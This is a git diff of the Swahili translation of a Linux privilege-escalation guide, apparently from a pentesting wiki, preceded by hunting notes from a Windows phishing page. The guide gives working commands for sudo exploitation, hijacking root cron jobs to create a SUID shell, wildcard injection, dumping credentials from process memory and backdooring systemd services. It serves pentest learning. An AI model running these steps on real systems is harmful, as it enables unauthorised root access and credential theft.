IE/Explorer au programu yoyote inayoiingiza ianze upya payload kiotomatiki. See details and ready-to-use commands here: +Persistence iliyotumika katika mnyororo huo huo +- COM TypeLib hijacking ya Microsoft Web Browser control ili IE/Explorer au app yoyote inayoi-embed irejeshe payload moja kwa moja. See details and ready-to-use commands here: {{#ref}} ../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md {{#endref}} Hunting/IOCs -- ZIP files zenye kamba ya alama ya ASCII (e.g., xFIQCV) iliyoongezwa kwenye data ya archive. -- .lnk inayoorodhesha folda za mzazi/mtumiaji ili kupata ZIP na kufungua nyaraka ya kudanganya. -- Kuchezewa kwa AMSI kupitia [System.Management.Automation.AmsiUtils]::amsiInitFailed. -- Nyuzi za biashara zinazodumu muda mrefu zikimalizika kwa viungo vinavyoandikwa chini ya vikoa vya PaaS vinavyoaminika. +- ZIP files containing the ASCII marker string (e.g., xFIQCV) appended to the archive data. +- .lnk that enumerates parent/user folders to locate the ZIP and opens a decoy document. +- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed. +- Long-running business threads ending with links hosted under trusted PaaS domains. ## References diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 822da4b65..795146bfc 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,7 +6,7 @@ ### Taarifa za OS -Tuanze kupata habari kuhusu OS inayoendesha +Tuanze kupata uelewa wa OS inayokimbia ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,38 +14,38 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -Ikiwa una **write permissions kwenye folda yoyote ndani ya `PATH`** unaweza ku-hijack baadhi ya libraries au binaries: +Ikiwa una **idhini za kuandika kwenye saraka yoyote ndani ya `PATH`** variable unaweza kuwa na uwezo wa hijack baadhi ya libraries au binaries: ```bash echo $PATH ``` ### Taarifa za Env -Je kuna taarifa zenye kuvutia, passwords au API keys katika environment variables? +Je, kuna taarifa zinazovutia, passwords au API keys katika environment variables? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Angalia toleo la kernel na kama kuna exploit yoyote inayoweza kutumika kuinua privileges +Angalia kernel version na kama kuna exploit fulani ambayo inaweza kutumika ku-escalate privileges ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Unaweza kupata orodha nzuri ya kernel zilizo na udhaifu na baadhi ya **compiled exploits** hapa: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Unaweza kupata orodha nzuri ya kernel zilizo na udhaifu na baadhi ya **compiled exploits** tayari hapa: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Tovuti nyingine ambapo unaweza kupata baadhi ya **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) Ili kutoa matoleo yote ya kernel yenye udhaifu kutoka kwenye tovuti hiyo unaweza kufanya: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Zana ambazo zinaweza kusaidia kutafuta kernel exploits ni: +Vifaa vinavyoweza kusaidia kutafuta kernel exploits ni: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (endesha KATIKA mjeruhi, inakagua tu exploits za kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) -Kila wakati **tafuta toleo la kernel kwa Google**, labda toleo lako la kernel limeandikwa katika exploit fulani ya kernel na kwa hivyo utakuwa na uhakika kwamba exploit hii ni halali. +Daima **search the kernel version in Google**, labda kernel version yako imeandikwa katika baadhi ya kernel exploit na basi utakuwa na uhakika kuwa exploit hiyo ni halali. ### CVE-2016-5195 (DirtyCow) @@ -57,13 +57,13 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Toleo la Sudo +### Sudo toleo -Kulingana na matoleo hatarishi ya sudo yanayoonekana katika: +Kulingana na matoleo ya sudo yaliyo dhaifu yanayoonekana katika: ```bash searchsploit sudo ``` -Unaweza kuangalia ikiwa toleo la sudo lina udhaifu kwa kutumia grep hii. +Unaweza kuangalia ikiwa toleo la sudo ni dhaifu kwa kutumia grep hii. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -73,20 +73,20 @@ Kutoka kwa @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg uthibitishaji wa saini ulishindikana +### Dmesg signature verification failed -Angalia **smasher2 box of HTB** kwa **mfano** wa jinsi hii vuln inaweza kutumika +Angalia **smasher2 box of HTB** kwa **mfano** wa jinsi vuln hii ingeweza kutumiwa. ```bash dmesg 2>/dev/null | grep "signature" ``` -### Zaidi ya mfumo enumeration +### Zaidi ya system enumeration ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Orodhesha mbinu za ulinzi zinazowezekana +## Orodhesha ulinzi unaowezekana ### AppArmor ```bash @@ -132,7 +132,7 @@ docker-security/ ## Diski -Angalia **ni nini mounted na unmounted**, wapi na kwa nini. Ikiwa chochote kipo unmounted, unaweza kujaribu ku-mount na kuangalia taarifa za kibinafsi +Angalia **nini kime-mounted na kime-unmounted**, wapi na kwa nini. Ikiwa kitu chochote kime-unmounted, unaweza kujaribu ku-mount na kukagua taarifa za faragha. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -145,56 +145,56 @@ Orodhesha binaries muhimu ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Pia, angalia ikiwa **any compiler is installed**. Hii ni muhimu ikiwa unahitaji kutumia kernel exploit, kwani inashauriwa kui-compile kwenye mashine utakayoitumia (au kwenye ile inayofanana). +Vilevile, angalia kama **any compiler is installed**. Hii ni muhimu ikiwa utahitaji kutumia kernel exploit kwani inashauriwa ku-compile ndani ya mashine utakayoitumia (au kwenye ile inayofanana). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Programu Zenye Udhaifu Zilizowekwa -Angalia **toleo la vifurushi na huduma zilizowekwa**. Huenda kuna toleo la zamani la Nagios (kwa mfano) ambalo linaweza kutumiwa kwa escalating privileges…\ -Inashauriwa kukagua kwa mikono toleo la programu zilizowekwa zinazoshukiwa zaidi. +Kagua toleo la **vifurushi na huduma zilizowekwa**. Huenda kuna toleo la zamani la Nagios (kwa mfano) ambalo linaweza kutumiwa kupandisha ruhusa…\ +Inashauriwa kukagua kwa mkono toleo la programu zilizosakinishwa zinazoshukiwa zaidi. ```bash dpkg -l #Debian rpm -qa #Centos ``` -If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. +Ikiwa una ufikiaji wa SSH kwenye mashine unaweza pia kutumia **openVAS** kukagua programu zilizopitwa na wakati na zilizo na udhaifu zilizosakinishwa ndani ya mashine. -> [!NOTE] > _Kumbuka kwamba amri hizi zitaonyesha taarifa nyingi ambazo kwa sehemu kubwa hazitakuwa za manufaa, kwa hivyo inashauriwa kutumia programu kama OpenVAS au programu zinazofanana zitakazokagua kama toleo lolote la programu iliyosakinishwa lina udhaifu dhidi ya exploits zinazojulikana_ +> [!NOTE] > _Kumbuka kwamba amri hizi zitaonyesha taarifa nyingi ambazo kwa kawaida hazitakuwa na maana, kwa hivyo inashauriwa kutumia programu kama OpenVAS au nyingine zinazofanana ambazo zitakagua kama toleo lolote la programu lililosakinishwa lina udhaifu dhidi ya exploits zinazojulikana_ ## Michakato -Tazama **ni michakato gani** inaendeshwa na ukague ikiwa mchakato wowote una **ruhusa zaidi kuliko inavyopaswa** (labda tomcat inaendeshwa na root?) +Angalia **michakato gani** inaendeshwa na hakiki kama kuna mchakato wowote unao **idhinishaji zaidi kuliko inavyostahili** (labda tomcat inatekelezwa na root?) ```bash ps aux ps -ef top -n 1 ``` -Daima angalia uwezekano wa [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** zinabaini hayo kwa kuchunguza vigezo `--inspect` ndani ya mstari wa amri wa mchakato.\ -Pia **angalia ruhusa zako juu ya binary za michakato**, labda unaweza kuandika juu ya binari ya mtu mwingine. +Daima angalia uwezekano wa [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ +Pia **angalia ruhusa zako juu ya binaries za michakato**, labda unaweza kuandika juu ya binaari ya mtu mwingine. ### Ufuatiliaji wa michakato -Unaweza kutumia zana kama [**pspy**](https://github.com/DominicBreuker/pspy) kufuatilia michakato. Hii inaweza kuwa muhimu sana kutambua michakato dhaifu inayotekelezwa mara kwa mara au wakati vigezo fulani vimetimizwa. +Unaweza kutumia zana kama [**pspy**](https://github.com/DominicBreuker/pspy) kufuatilia michakato. Hii inaweza kuwa nzuri sana kubaini michakato iliyo hatarishi inayotekelezwa mara kwa mara au wakati seti ya mahitaji zinapotimizwa. ### Kumbukumbu ya mchakato -Huduma kadhaa za seva huhifadhi **credentials kwa maandishi wazi ndani ya kumbukumbu**.\ -Kawaida utahitaji **root privileges** kusoma kumbukumbu za michakato zinazomilikiwa na watumiaji wengine, kwa hivyo hii mara nyingi ni ya manufaa zaidi ukiwa tayari root na unapotaka kugundua credentials zaidi.\ -Hata hivyo, kumbuka kwamba **kama mtumiaji wa kawaida unaweza kusoma kumbukumbu za michakato unazomiliki**. +Baadhi ya huduma za server huhifadhi **credentials in clear text inside the memory**.\ +Kwa kawaida utahitaji **root privileges** kusoma kumbukumbu ya michakato inayomilikiwa na watumiaji wengine, kwa hivyo hii kawaida ni muhimu zaidi unapokuwa tayari root na unataka kugundua credentials zaidi.\ +Hata hivyo, kumbuka kwamba **kwa mtumiaji wa kawaida unaweza kusoma kumbukumbu za michakato unayomiliki**. > [!WARNING] -> Kumbuka kwamba sasa hivi mashine nyingi **haziruhusu ptrace kwa chaguo-msingi** na hiyo inamaanisha huwezi dump michakato mingine inayomilikiwa na mtumiaji wako asiye na ruhusa. +> Tambua kwamba siku hizi mashine nyingi **haziruhusu ptrace kwa chaguo-msingi** ambayo ina maana huwezi kuchukua dump za michakato ya watumiaji wasiokuwa na ruhusa. > > The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: michakato yote inaweza kuchunguzwa kwa debugger, mradi tu zina uid sawa. Hii ni njia ya jadi jinsi ptracing ilivyofanya kazi. -> - **kernel.yama.ptrace_scope = 1**: mchakato mzazi pekee unaweza kufanyiwa debugging. -> - **kernel.yama.ptrace_scope = 2**: Ni admin pekee anayeweza kutumia ptrace, kwani inahitaji capability ya CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: Hakuna michakato inaweza kufuatiliwa na ptrace. Mara imewekwa, inahitajika reboot ili kuwezesha ptracing tena. +> - **kernel.yama.ptrace_scope = 0**: michakato yote inaweza kudebugiwa, mradi wana uid sawa. Hii ni njia ya jadi jinsi ptracing ilivyofanya kazi. +> - **kernel.yama.ptrace_scope = 1**: tu mchakato mzazi unaweza kudebugiwa. +> - **kernel.yama.ptrace_scope = 2**: Ni admin tu anaweza kutumia ptrace, kwa sababu inahitaji uwezo wa CAP_SYS_PTRACE. +> - **kernel.yama.ptrace_scope = 3**: Hakuna michakato inayoweza kufuatiliwa kwa ptrace. Mara imewekwa, inahitaji kuanzisha upya ili kuwezesha ptracing tena. #### GDB -Ikiwa una ufikiaji wa kumbukumbu ya huduma ya FTP (kwa mfano) unaweza kupata Heap na kutafuta ndani yake credentials. +Ikiwa una ufikivu wa kumbukumbu ya huduma ya FTP (kwa mfano) unaweza kupata Heap na kutafuta ndani yake credentials. ```bash gdb -p (gdb) info proc mappings @@ -203,7 +203,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB Script +#### GDB Skripti ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -216,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Kwa ID ya mchakato fulani, **maps zinaonyesha jinsi kumbukumbu inavyopangwa ndani ya nafasi ya anwani pepe ya mchakato huo**; pia zinaonyesha **ruhusa za kila eneo lililopangwa**. Faili bandia ya **mem** inaonyesha kumbukumbu ya mchakato yenyewe. Kutoka kwenye faili ya **maps** tunajua ni **eneo gani za kumbukumbu zinazoweza kusomwa** na ofseti zao. Tunatumia taarifa hii **kutafuta ndani ya faili ya mem na kumwaga (dump) maeneo yote yanayosomwa** kwenye faili. +Kwa process ID fulani, maps zinaonyesha jinsi memory imepangwa ndani ya virtual address space ya mchakato huo; pia zinaonyesha permissions za kila mapped region. Faili bandia mem inafichua memory ya mchakato yenyewe. Kutoka kwenye faili ya maps tunajua ni maeneo gani ya memory yanayosomwa na offsets zao. Tunatumia taarifa hizi kufanya seek ndani ya faili ya mem na dump maeneo yote yanayosomwa kwenye faili. ```bash procdump() ( @@ -231,14 +231,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` inatoa ufikiaji wa kumbukumbu ya **fizikali** ya mfumo, si kumbukumbu ya virtual. Eneo la anwani la virtual la kernel linaweza kufikiwa kwa kutumia /dev/kmem.\ -Kawaida, `/dev/mem` inaweza kusomwa tu na **root** na kundi la kmem. +`/dev/mem` hutoa ufikiaji kwa **kumbukumbu ya kimwili** ya mfumo, si kumbukumbu ya virtual. Eneo la anwani ya virtual la kernel linaweza kufikiwa kwa kutumia /dev/kmem.\ +Kwa kawaida, `/dev/mem` inaweza kusomwa tu na **root** na kundi la **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump kwa linux -ProcDump ni toleo la Linux lililobuniwa upya la chombo cha ProcDump kutoka kwenye kifurushi cha zana za Sysinternals za Windows. Pata kwenye [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump ni toleo la Linux la zana klasiki ya ProcDump kutoka katika suite ya zana za Sysinternals kwa Windows. Pata kwenye [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,40 +267,40 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Zana -Ili kuchomoa kumbukumbu ya mchakato unaweza kutumia: +Ili kufanya dump kumbukumbu ya mchakato unaweza kutumia: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - _Unaweza kwa mikono kuondoa mahitaji ya root na kuchomoa mchakato unaomilikiwa na wewe_ +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Unaweza kuondoa mahitaji ya root kwa mkono na kufanya dump mchakato unaomilikiwa na wewe - Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root inahitajika) -### Vifikisho kutoka Kumbukumbu za Mchakato +### Credentials kutoka kwenye kumbukumbu za mchakato -#### Mfano wa mkononi +#### Mfano wa mkono -Iwapo utagundua kwamba mchakato wa authenticator unaendesha: +Ikiwa utagundua kwamba mchakato wa authenticator unaendesha: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Unaweza kufanya dump ya process (angalia sehemu zilizotangulia ili kupata njia mbalimbali za dump memory ya process) na kutafuta credentials ndani ya memory: +Unaweza dump mchakato (angalia sehemu zilizotangulia ili kupata njia tofauti za dump kumbukumbu ya mchakato) na kutafuta nyaraka za uthibitisho ndani ya kumbukumbu: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) itakuwa **kuiba cheti za maandishi wazi kutoka memory** na kutoka kwa baadhi ya **faili zinazojulikana vizuri**. Inahitaji vibali vya root ili ifanye kazi vizuri. +Chombo [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) kitapora **nywila/taarifa za kuingia zilizo kwa maandishi wazi kutoka kwenye kumbukumbu** na kutoka kwa baadhi ya **faili zinazojulikana**. Kinahitaji ruhusa za root ili kifanye kazi ipasavyo. -| Kipengele | Jina la Mchakato | +| Kipengele | Jina la mchakato | | ------------------------------------------------- | -------------------- | -| Nenosiri la GDM (Kali Desktop, Debian Desktop) | gdm-password | +| GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | | VSFTPd (Active FTP Connections) | vsftpd | | Apache2 (Active HTTP Basic Auth Sessions) | apache2 | | OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -#### Regexes za Utafutaji/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Regexes za utafutaji/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -314,9 +314,9 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Kazi zilizopangwa/Cron +## Scheduled/Cron jobs -Angalia kama kuna kazi iliyopangwa inayoweza kuwa dhaifu. Labda unaweza kuchukua fursa ya script inayotekelezwa na root (wildcard vuln? unaweza kubadilisha faili ambazo root anazitumia? tumia symlinks? unda faili maalum katika directory ambayo root anaitumia?). +Angalia ikiwa kazi yoyote iliyopangwa ni dhaifu. Labda unaweza kuchukua fursa ya script inayotekelezwa na root (wildcard vuln? unaweza kubadilisha faili ambazo root anazitumia? tumia symlinks? unda faili maalum katika directory ambayo root anaitumia?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -326,9 +326,9 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul Kwa mfano, ndani ya _/etc/crontab_ unaweza kupata PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Kumbuka jinsi mtumiaji "user" ana ruhusa za kuandika juu ya /home/user_) +(_Kumbuka jinsi user "user" ana haki za kuandika juu ya /home/user_) -Iwapo ndani ya crontab hii mtumiaji root anajaribu kutekeleza amri au script bila kuweka PATH. Kwa mfano: _\* \* \* \* root overwrite.sh_\ +Ikiwa ndani ya crontab hii user root anajaribu kutekeleza amri au script bila kuweka PATH. Kwa mfano: _\* \* \* \* root overwrite.sh_\ Kisha, unaweza kupata root shell kwa kutumia: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh @@ -337,57 +337,57 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh ``` ### Cron using a script with a wildcard (Wildcard Injection) -Ikiwa script inatekelezwa na root ina “**\***” ndani ya amri, unaweza kuitumia kufanya mambo yasiyotarajiwa (kama privesc). Mfano: +Ikiwa script inayotekelezwa na root ina “**\***” ndani ya amri, unaweza kuitumia kusababisha matokeo yasiyotarajiwa (kama privesc). Mfano: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Ikiwa wildcard imewekwa mbele ya njia kama** _**/some/path/\***_ **, haiko hatarini (hata** _**./\***_ **sio).** +**Ikiwa wildcard imewekwa kabla ya njia kama** _**/some/path/\***_ **, haiko hatarini (hata** _**./\***_ **haiko).** -Soma ukurasa ufuatao kwa mbinu zaidi za wildcard exploitation: +Soma ukurasa ufuatao kwa ujanja zaidi za wildcard exploitation: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Cron script overwriting and symlink +### Kuandika tena Cron script na symlink -Ikiwa **unaweza kubadilisha cron script** inayotekelezwa na root, unaweza kupata shell kwa urahisi sana: +Ikiwa unaweza **kuhariri Cron script** inayotekelezwa na root, unaweza kupata shell kwa urahisi sana: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Ikiwa script inayotekelezwa na root inatumia **directory ambapo una full access**, inaweza kuwa ya manufaa kufuta folder hiyo na **kuunda symlink folder kuelekea nyingine** inayohudumia script unayedhibiti. +Ikiwa script inayotekelezwa na root inatumia **directory ambapo una ufikiaji kamili**, inaweza kuwa ya manufaa kufuta folder hiyo na **kuunda folder la symlink kuelekea nyingine** inayohudumia script unayodhibiti. ```bash ln -d -s ``` ### Cron jobs za mara kwa mara -Unaweza kufuatilia michakato ili kutafuta zile zinazotekelezwa kila dakika 1, 2 au 5. Labda unaweza kuchukua faida yake na escalate privileges. +Unaweza kufuatilia processes ili kutafuta zile zinazotekelezwa kila dakika 1, 2 au 5. Labda unaweza kuchukua faida yake na escalate privileges. -Kwa mfano, ili **fuatilia kila 0.1s kwa muda wa dakika 1**, **panga kwa amri zilizotekelezwa kidogo** na kufuta amri ambazo zimeendeshwa zaidi, unaweza kufanya: +Kwa mfano, ili **kufuatilia kila 0.1s kwa muda wa dakika 1**, **kupanga kwa amri zilizotekelezwa kidogo** na kufuta amri ambazo zimetekelezwa zaidi, unaweza kufanya: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Unaweza pia kutumia** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (hii itafuatilia na kuorodhesha kila mchakato unaoanza). +**Unaweza pia kutumia** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (hii itafuatilia na kuorodhesha kila process inayozinduliwa). ### Cron jobs zisizoonekana -Inawezekana kuunda a cronjob kwa **kuweka carriage return baada ya comment** (bila newline character), na the cron job itafanya kazi. Mfano (zingatia carriage return char): +Inawezekana kuunda cronjob **kwa kuweka carriage return baada ya comment** (bila newline character), na cron job itafanya kazi. Mfano (angalia carriage return char): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## Huduma -### Fayili za _.service_ zinazoweza kuandikwa +### Faili za _.service_ zinazoweza kuandikwa -Angalia ikiwa unaweza kuandika faili yoyote ya `.service`, ikiwa unaweza, unaweza **kuibadilisha** ili i**ite** backdoor yako wakati huduma inapo**anza**, **inaporudiwa** au **inaposimamishwa** (labda utahitaji kusubiri mpaka mashine ireboot).\ +Angalia ikiwa unaweza kuandika faili yoyote ya `.service`, ikiwa unaweza, unaweza **kuibadilisha** ili i**ite** backdoor yako wakati huduma **inapoanza**, **inapoanzishwa tena** au **inaposimamishwa** (labda utahitaji kusubiri mpaka mashine i**anzishwe upya**).\ Kwa mfano tengeneza backdoor yako ndani ya faili ya .service kwa **`ExecStart=/tmp/script.sh`** -### Binaries za service zinazoweza kuandikwa +### Service binaries zinazoweza kuandikwa -Kumbuka kwamba ikiwa una **write permissions over binaries being executed by services**, unaweza kuzibadilisha kwa backdoors ili wakati services zitakapotekelezwa tena backdoors zitatekelezwa. +Kumbuka kwamba ikiwa una **idhini ya kuandika kwa binaries zinazotekelezwa na services**, unaweza kuzibadilisha kwa backdoors ili wakati services zitakaporudishwa tena, backdoors zitatekelezwa. ### systemd PATH - Relative Paths @@ -395,76 +395,78 @@ Unaweza kuona PATH inayotumika na **systemd** kwa: ```bash systemctl show-environment ``` -Ikiwa ugundua kwamba unaweza **kuandika** katika yoyote ya folda kwenye njia hiyo, huenda ukaweza **kupandisha ruhusa**. Unahitaji kutafuta faili za usanidi za service zinazotumia **relative paths**, kama: +Iwapo utagundua kuwa unaweza **kuandika** katika yoyote ya folda kwenye njia hiyo, huenda ukaweza **escalate privileges**. Unahitaji kutafuta **relative paths being used on service configurations** kwenye faili kama: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Kisha, unda **executable** yenye **jina lile lile kama relative path binary** ndani ya systemd PATH folder unayoweza kuandika, na wakati service itaombwa kutekeleza kitendo chenye udhaifu (**Start**, **Stop**, **Reload**), **backdoor** yako itaendeshwa (watumiaji wasio na vibali kawaida hawawezi kuanzia/kusimamisha services lakini angalia kama unaweza kutumia `sudo -l`). +Kisha, tengeneza **faili inayotekelezwa** yenye **jina lile lile kama relative path binary** ndani ya systemd PATH folder unayoweza kuandika, na wakati service itaombwa kutekeleza kitendo kilicho dhaifu (**Start**, **Stop**, **Reload**), yako **backdoor itatekelezwa** (watumiaji wasiokuwa na ruhusa kwa kawaida hawawezi kuanzisha/kuacha services lakini angalia kama unaweza kutumia `sudo -l`). -**Jifunze zaidi kuhusu services kwa `man systemd.service`.** +**Jifunze zaidi kuhusu huduma kwa `man systemd.service`.** ## **Timers** -**Timers** ni systemd unit files ambazo jina lao linaishia kwa `**.timer**` ambazo zinaendesha `**.service**` files au matukio. **Timers** zinaweza kutumika kama mbadala wa cron kwani zina msaada uliojengwa kwa ajili ya matukio ya kalenda na matukio ya monotonic time na zinaweza kuendeshwa asynchronously. +**Timers** ni systemd unit files ambazo jina lao linaisha kwa `**.timer**` na zinadhibiti faili au matukio ya `**.service**`. **Timers** zinaweza kutumika kama mbadala wa cron kwani zina msaada uliojengwa kwa matukio ya kalenda na matukio ya monotonic time na zinaweza kuendeshwa asynchronously. Unaweza kuorodhesha timers zote kwa: ```bash systemctl list-timers --all ``` -### Timers zinazoweza kuandikwa +### Taimera zinazoweza kuandikwa -Ikiwa unaweza kubadilisha timer, unaweza kuifanya itekeleze baadhi ya units za systemd.unit (kama `.service` au `.target`) +Ikiwa unaweza kubadilisha taimera, unaweza kuifanya itekeleze baadhi ya units zilizopo za systemd.unit (kama `.service` au `.target`). ```bash Unit=backdoor.service ``` -> Unit itakayotekelezwa wakati timer hii itakapotimia. Hoja ni jina la unit, ambalo kiambishi mwisho si ".timer". Ikiwa haibainishwi, thamani hii kwa chaguo-msingi inaangukia kwenye service ambayo ina jina sawa na timer unit, isipokuwa kwa kiambishi mwisho. (Tazama hapo juu.) Inashauriwa kwamba jina la unit linalowashwa na jina la unit la timer vitaitwa kwa njia ile ile, isipokuwa kwa kiambishi mwisho. +Katika nyaraka unaweza kusoma ni nini Unit: -Kwahivyo, ili kutumia vibaya ruhusa hii utahitaji: +> Unit itakayozinduliwa wakati timer hii inapokwisha. Hoja ni jina la unit, ambalo suffix yake si ".timer". Ikiwa haijatafsiriwa, thamani hii hutumika kwa default kwa service yenye jina sawa na timer unit, isipokuwa kwa suffix. (Tazama hapo juu.) Inashauriwa kwamba jina la unit linalozinduliwa na jina la unit ya timer ziwe zinaitwa kwa namna ile ile, isipokuwa kwa suffix. + +Kwa hivyo, ili kutumia vibaya ruhusa hii utahitaji: - Pata systemd unit fulani (kama a `.service`) ambayo inatekeleza **binary inayoweza kuandikwa** -- Pata systemd unit fulani ambayo inatekeleza **relative path** na una **idhini za kuandika** juu ya **systemd PATH** (ili kuiga executable hiyo) +- Pata systemd unit fulani ambayo inatekeleza **relative path** na wewe una **ruhusa za kuandika** juu ya **systemd PATH** (ili kujifanya executable huyo) -**Jifunze zaidi kuhusu timers kwa `man systemd.timer`.** +**Jifunze zaidi kuhusu timers kwa kutumia `man systemd.timer`.** -### **Kuwawezesha Timer** +### **Kuwezesha Timer** -Ili kuwezesha timer unahitaji root privileges na kutekeleza: +Ili kuwezesha timer unahitaji ruhusa za root na kutekeleza: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Kumbuka **timer** inakuwa **imewezeshwa** kwa kuunda symlink kuelekea kwake kwenye `/etc/systemd/system/.wants/.timer` +Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) zinawezesha **mawasiliano ya mchakato** kwenye mashine moja au tofauti ndani ya modeli za client-server. Zinatumia faili za descriptor za Unix kwa mawasiliano kati ya kompyuta na zinawekwa kupitia `.socket` 